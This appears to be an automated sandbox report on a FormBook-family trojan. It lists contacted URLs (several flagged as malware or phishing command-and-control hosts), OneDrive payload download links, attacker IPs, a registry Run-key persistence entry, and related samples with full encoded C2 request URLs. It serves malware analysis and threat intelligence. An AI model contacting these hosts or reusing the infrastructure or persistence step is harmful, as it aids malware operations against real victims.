https://onedrive.live.com/	Fpopgapwdcgvxn.exe, 00000000.00000003.2317987544.0000000000869000.00000004.00000020.00020000.00000000.sdmp, Fpopgapwdcgvxn.exe, 00000000.00000003.2258996641.0000000000866000.00000004.00000020.00020000.00000000.sdmp, Telragab.PIF, 00000009.00000003.2578378839.0000000000742000.00000004.00000020.00020000.00000000.sdmp, Telragab.PIF, 0000000B.00000002.2686612744.000000000095E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.thnkotb.comReferer:	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://live.com/	Telragab.PIF, 0000000B.00000002.2686612744.00000000009A6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.ouxodb001.cfdReferer:	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://wns.windows.com/e	explorer.exe, 00000005.00000000.2336924818.00000000099AB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2979054042.00000000099AB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4623300730.00000000099AB000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.1techtrendzstore.com/ao65/www.kuis-raja-borong.website	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.hivaom.top/ao65/www.canwealljustagree.com	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings	explorer.exe, 00000005.00000000.2327459707.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.ouxodb001.cfd/ao65/www.optimusvisionlb.com	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://api.msn.com/v1/news/Feed/Windows?activityId=435B7A89D7D74BDF801F2DA188906BAF&timeOut=5000&oc	explorer.exe, 00000005.00000002.4618835071.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2327459707.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		high
https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 00000005.00000002.4618835071.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2327459707.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.maltsky.netReferer:	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/travel/news/you-can-t-beat-bobby-flay-s-phoenix-airport-restaurant-one-of-	explorer.exe, 00000005.00000002.4618835071.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2327459707.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.1techtrendzstore.com/ao65/	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://www.optimusvisionlb.com/ao65/www.maltsky.net	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.leathfortexas.com	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://naopta.bn.files.1drv.com/y4mUDOC-1KaMFlmbquo_MCuV35VY0DNhAx1uT2j8j4iW_6OvPBYM_BkkkKs9VVlfZP7	Telragab.PIF, 0000000B.00000002.2686612744.00000000009A6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.stellarskyline.com/ao65/www.hivaom.top	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://android.notify.windows.com/iOS	explorer.exe, 00000005.00000000.2345200413.000000000BFDF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4629484500.000000000BFDF000.00000004.00000001.00020000.00000000.sdmp	false		high
https://outlook.come	explorer.exe, 00000005.00000002.4629484500.000000000C086000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2980040926.000000000C086000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2345200413.000000000C048000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp	explorer.exe, 00000005.00000000.2336924818.00000000099AB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2979054042.00000000099AB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4623300730.00000000099AB000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-the	explorer.exe, 00000005.00000002.4618835071.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2327459707.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.oaistetic.com	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.leathfortexas.com/ao65/	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	false	6%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://www.sprockettrucking.com	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://naopta.bn.files.1drv.com/y4mu7B-5fk8szYFW7t5U8GAGFWHz18vQ3lOohdWuW1sD9KC1dexn3z8c44A7Y_qMtHF	Fpopgapwdcgvxn.exe, 00000000.00000003.2317987544.0000000000812000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.kermisbedrijfkramer.online/ao65/	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	false	4%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://www.msn.com/en-us/news/politics/kevin-mccarthy-s-ouster-as-house-speaker-could-cost-gop-its-	explorer.exe, 00000005.00000002.4618835071.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2327459707.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.pmail.com	Fpopgapwdcgvxn.exe, Fpopgapwdcgvxn.exe, 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmp, Fpopgapwdcgvxn.exe, 00000000.00000002.2322773738.00000000031B0000.00000004.00001000.00020000.00000000.sdmp, Telragab.PIF, 00000009.00000002.2582481668.0000000003180000.00000004.00001000.00020000.00000000.sdmp, Telragab.PIF, 0000000B.00000002.2688350100.00000000029C0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://naopta.bn.files.1drv.com:443/y4mUDOC-1KaMFlmbquo_MCuV35VY0DNhAx1uT2j8j4iW_6OvPBYM_BkkkKs9VVl	Telragab.PIF, 0000000B.00000002.2686612744.00000000009AF000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.hivaom.top/ao65/	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://www.kuis-raja-borong.website/ao65/	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://api.msn.com/v1/news/Feed/Windows?	explorer.exe, 00000005.00000000.2334366335.000000000962B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4623300730.000000000962B000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.ecofare.xyzReferer:	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sprockettrucking.comReferer:	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://naopta.bn.files.1drv.com/y4mb0GM36UMcQfEUiMpLP03Y8bvo9LtwS-BqKbXqgBYhMdWptkR9dr4YpWcIo8Dgkas	Telragab.PIF, 00000009.00000003.2546924486.0000000000796000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.msn.com/I	explorer.exe, 00000005.00000000.2334366335.000000000962B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4623300730.000000000962B000.00000004.00000001.00020000.00000000.sdmp	false		high
https://naopta.bn.files.1drv.com/	Fpopgapwdcgvxn.exe, 00000000.00000003.2317987544.00000000008B1000.00000004.00000020.00020000.00000000.sdmp, Fpopgapwdcgvxn.exe, 00000000.00000003.2258996641.0000000000886000.00000004.00000020.00020000.00000000.sdmp, Telragab.PIF, 00000009.00000003.2578378839.00000000007DA000.00000004.00000020.00020000.00000000.sdmp, Telragab.PIF, 00000009.00000003.2546924486.0000000000796000.00000004.00000020.00020000.00000000.sdmp, Telragab.PIF, 0000000B.00000002.2686612744.00000000009E3000.00000004.00000020.00020000.00000000.sdmp, Telragab.PIF, 0000000B.00000003.2627665881.00000000009A3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.kuis-raja-borong.website/ao65/www.oaistetic.com	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.ouxodb001.cfd	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.sprockettrucking.com/ao65/	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://onedrive.live.com/download?resid=D2FF5C6240820574%21465&authkey=	Telragab.PIF, 0000000B.00000002.2688655343.0000000002B85000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.kuis-raja-borong.websiteReferer:	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.transip.nl/services/search-domains/	explorer.exe, 00000005.00000002.4633580692.0000000010E6F000.00000004.80000000.00040000.00000000.sdmp, rundll32.exe, 00000006.00000002.4617256612.00000000052AF000.00000004.10000000.00040000.00000000.sdmp	false		high
http://schemas.micro	explorer.exe, 00000005.00000000.2331503846.0000000007B50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000000.2331530357.0000000007B60000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000000.2324920937.00000000028A0000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.canwealljustagree.com	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.maltsky.net/ao65/www.thnkotb.com	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.harmonicod.comReferer:	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ecofare.xyz	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://naopta.bn.files.1drv.com:443/y4mbKR8EFV2GjaLZUNxo34xSffY_nOEJNB-_msmauZ_D4C9ZlBli6oXkwvRloeD	Telragab.PIF, 00000009.00000003.2578378839.0000000000742000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.optimusvisionlb.comReferer:	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ecofare.xyz/ao65/www.iokgw1.top	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://www.kuis-raja-borong.website	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 00000005.00000002.4618835071.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2327459707.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.oaistetic.com/ao65/	explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.stellarskyline.com/ao65/	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://transip.nl/cp/	explorer.exe, 00000005.00000002.4633580692.0000000010E6F000.00000004.80000000.00040000.00000000.sdmp, rundll32.exe, 00000006.00000002.4617256612.00000000052AF000.00000004.10000000.00040000.00000000.sdmp	false		high
https://live.com/?	Fpopgapwdcgvxn.exe, 00000000.00000003.2258996641.0000000000872000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.optimusvisionlb.com	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.leathfortexas.comReferer:	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://live.com/(	Telragab.PIF, 00000009.00000003.2546924486.0000000000796000.00000004.00000020.00020000.00000000.sdmp, Telragab.PIF, 00000009.00000003.2578378839.0000000000797000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.canwealljustagree.com/ao65/www.ecofare.xyz	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.msn.com/en-us/news/politics/republicans-already-barred-trump-from-being-speaker-of-the-h	explorer.exe, 00000005.00000002.4618835071.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2327459707.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.stellarskyline.comReferer:	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/news/politics/trump-campaign-says-he-raised-more-than-45-million-in-3rd-qu	explorer.exe, 00000005.00000002.4618835071.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2327459707.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.leathfortexas.com/ao65/www.ouxodb001.cfd	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.maltsky.net/ao65/	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://naopta.bn.files.1drv.com/y4mWheWVd_ulVA7I3cjlifsQ_hjAjUwAiOhs_rGTjyEnBf6dISBKjP9LuUpM-ahNhLD	Telragab.PIF, 0000000B.00000003.2627665881.00000000009A3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.thnkotb.com/ao65/www.harmonicod.com	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
37.97.254.27	kermisbedrijfkramer.online	Netherlands	20857	TRANSIP-ASAmsterdamtheNetherlandsNL	true
104.247.81.50	www.harmonicod.com	Canada	206834	TEAMINTERNET-CA-ASCA	true
62.72.50.88	stellarskyline.com	Germany	5427	PRTL-DE	true
34.93.103.39	optimus-vision.odoo.com	United States	15169	GOOGLEUS	false
3.33.130.190	leathfortexas.com	United States	8987	AMAZONEXPANSIONGB	true
156.237.159.158	www.hivaom.top	Seychelles	134548	DXTL-HKDXTLTseungKwanOServiceHK	true
104.140.89.24	www.maltsky.net	United States	62904	EONIX-COMMUNICATIONS-ASBLOCK-62904US	true

General Information

Joe Sandbox Version:	38.0.0 Ammolite
Analysis ID:	1350545
Start date and time:	2023-11-30 14:55:10 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 11m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	Fpopgapwdcgvxn.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@294/7@13/7
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 80 Number of non-executed functions: 331
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.107.42.13, 13.107.42.12, 20.42.65.92
Excluded domains from analysis (whitelisted): odc-web-brs.onedrive.akadns.net, client.wns.windows.com, bn-files.ha.1drv.com.l-0003.dc-msedge.net.l-0003.l-msedge.net, odc-web-geo.onedrive.akadns.net, slscr.update.microsoft.com, odc-bn-files-brs.onedrive.akadns.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com, odc-bn-files-geo.onedrive.akadns.net, l-0004.l-msedge.net, odwebpl.trafficmanager.net.l-0004.dc-msedge.net.l-0004.l-msedge.net, l-0003.l-msedge.net, onedsblobprdeus17.eastus.cloudapp.azure.com, ocsp.digicert.com, login.live.com, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
14:56:10	API Interceptor	1x Sleep call for process: Fpopgapwdcgvxn.exe modified
14:56:19	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Telragab C:\Users\Public\Telragab.url
14:56:23	API Interceptor	6959065x Sleep call for process: explorer.exe modified
14:56:28	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Telragab C:\Users\Public\Telragab.url
14:56:39	API Interceptor	2x Sleep call for process: Telragab.PIF modified
14:56:57	API Interceptor	1x Sleep call for process: WerFault.exe modified
14:57:06	API Interceptor	7415516x Sleep call for process: rundll32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37.97.254.27	Product_Specs.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.wrautomotive.online/ur4g/?vxM0=G80Xg2gxjV&eh=GM1abjaFQeRWF1TbL/6IPq6IQ8Zq6L6A/eGtDh+rzhSfkUEKySbsXXOahwAFIXwkymySVlBBxGC7SDgkYy5RlvrvRaU4SsaPnA==
	PO_VCFGA1010.exe	Get hash	malicious	FormBook	Browse	www.wrautomotive.online/ahec/?TrRXYB=5igDJT3zPYxoznSYBBpd18gTi2dx8KCRz+D9mmXj9CLVcvHmJGefSTTLw3ACEWBDJ4ZMU5QrLRnI3LOtkf+z0orNAnxbm6AOaCZvJNva1SPD&NRpHp=DLPh_Z
	25-23PJSM-653.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.rocsys.net/uaaq/?Zvo88=ZvgtLzuC5J0fwHYuRehKE7pqe+TegS3vAv4ZEylVZ8S9BUo4tJK/O+Yy7erX60uFZvklPnpu2szjI2ePXJ09nWZe2eIrY7ioDA==&5j=JXHP5xY8
	PAGAMENTO_INV-85732.exe	Get hash	malicious	FormBook, NSISDropper	Browse	www.qa-manny.com/cvps/?ojQxW=_LZhZtRhEB2XP&-Lkxp=YYStJbUf5TaZehAWHAdvcDwKkN8dqWyQyqo9RJP/Q7ViCmgow6wyh8/3RNpMerc2KWMLTTY6CI9NpXl7SvcbIbeUXgqX6DnaKg==
	file.exe	Get hash	malicious	FormBook	Browse	www.wrautomotive.online/fdo5/?7F=tmpHADT4fdGVd6nnK8VfxTcjTEmAMjvmemW+C4Ol5iYH1IbYxa+keO9dRydEANAVQTW4GcRzv85KoC+8HtmJLO5vdlfv2fS0QQ==&zf7=WxIPUXb0
	Order_confirmation,_Invoice.exe	Get hash	malicious	DBatLoader, FormBook	Browse	www.kermisbedrijfkramer.online/ao65/?Urwl=Y9yn8u0REY9c1IpGc1acQeiywl67Bz4kR9nr06rl/WLBU1XMoiFOUgbvS2/Y+YwQBdR3MSzENA==&S0GhC=_R-phJeXT
	INV#761538.exe	Get hash	malicious	FormBook	Browse	www.qa-manny.com/cvps/?kDuhz=t6NP562HYH_&pf5=YYStJbUf5TaZehAWHAdvcDwKkN8dqWyQyqo9RJP/Q7ViCmgow6wyh8/3RNpMerc2KWMLTTY6CI9NpXl7SvcbIbeUXgqX6DnaKg==
	137-AGROCHLOPECKI_OFFER_list.xls	Get hash	malicious	FormBook	Browse	www.rocsys.net/g81o/?t8F43Dx=Xpn7ovWGDL38rcQsVj9M+fSKcj+67g3pDTSuqHneUyb3n+qAvdqStutd5ioDJ87L1Kdi6p0jXbywk+j2nUztgIlZl1ilwP64qP32EII=&xphPK=azPpsjMX1
	NNL_PO_1023008.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.rocsys.net/uaaq/?w89D=LxmD0p&UX=ZvgtLzuC5J0fwHYxUOhDE7BocrPe2y3vAv4ZEylVZ8S9BUo4tJK/O+Yy7erX60uFZvklPnpu2szjI2ePXJ09mUhv++5catqsVQ==
	003425425124526.exe	Get hash	malicious	DBatLoader, FormBook	Browse	www.kermisbedrijfkramer.online/ao65/?GR0=Y9yn8u0REY9c1IpGc1acQeiywl67Bz4kR9nr06rl/WLBU1XMoiFOUgbvS1HIoJcoA9wm&IDK=RJBh5RS0IZO8zhrP
	Document.exe	Get hash	malicious	FormBook	Browse	www.qa-manny.com/cvps/?Tb-PA8s8=YYStJbUf5TaZehAWHAdvcDwKkN8dqWyQyqo9RJP/Q7ViCmgow6wyh8/3RNpMerc2KWMLTTY6CI9NpXl7SvcbIbeUXgqX6DnaKg==&0H=BrFhG8npvv
	Hubnnuiisapctu.exe	Get hash	malicious	DBatLoader, FormBook	Browse	www.kermisbedrijfkramer.online/ao65/?2d=Y9yn8u0REY9c1IpGc1acQeiywl67Bz4kR9nr06rl/WLBU1XMoiFOUgbvS2/hhpQTPLNwMSzDew==&3fC=vZeTzRlX84SHE
	Invoice.exe	Get hash	malicious	Unknown	Browse	www.wrautomotive.online/9hnx/?qjEABCG=x93wZY5flbcWgBQ+QBIan4Q/Fzujwl2X6zdiZc2Bln/4Iyn/0F+0HT2oZzLfP234arynxKxgoTzQXViUvY11cUD95//AJ74tDA==&KD=eYDR
	Factura_1-000816pdf.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.vdb2b.com/hedt/?iOOH=EEEIB&iC8-0=zKoVcsC5grZr6pX8QDgaiztoD/aYyGD3cWBaSuIr6nSXyRLF9phHpQybJRV7E4N8LdJP/dJhO/XvQgvS05+WXwT8k1ve1mAG6g==
	PO-230803-S00.exe	Get hash	malicious	FormBook	Browse	www.carfactsandfigures.com/gpc9/?pfD=BKcV00kv5fthcsbc5kU6zPs22ZTUClXvYH44oRN9PBAu/J6uiY+GzzbdjWgGYpN/YmmZe7PBk+WcxYFhT8+AoQOkRQ9xiXX9HyxRaD3/mCeI&28=XrcXTyOAOYd9aU4
	Proof_Of_Payment_&_Proforma_Invoice.exe	Get hash	malicious	FormBook	Browse	www.carfactsandfigures.com/gpc9/?Qw=BKcV00kv5fthcsbc5kU6zPs22ZTUClXvYH44oRN9PBAu/J6uiY+GzzbdjWgGYpN/YmmZe7PBk+WcxYFhT8+AoWCpUiVji2f5FixRaDjUrieI&Cq=oXbgvbGl
	Zpe3AgLpIk.exe	Get hash	malicious	FormBook	Browse	www.detail.tips/ug0e/?g3=/sYbaCMyVKUweyZqxZmWwv4r7cKEdyFMx5i/AVkPxJXLdrztci0N39LYxFfcAnRsf0n5uCI95iaxL3pmdgVmn4WmFlEKCSmNHQ==&aRz=TnxvzmvvZHhQa
	cOqo5PZFXC.exe	Get hash	malicious	FormBook	Browse	www.detail.tips/ug0e/?T6N6=/sYbaCMyVKUweyZqxZmWwv4r7cKEdyFMx5i/AVkPxJXLdrztci0N39LYxFfcAnRsf0n5uCI95iaxL3pmdgVmzfuiO2sKUmKBQ8Ki8GsnQXiV&a23=vQfnLmKSaoS
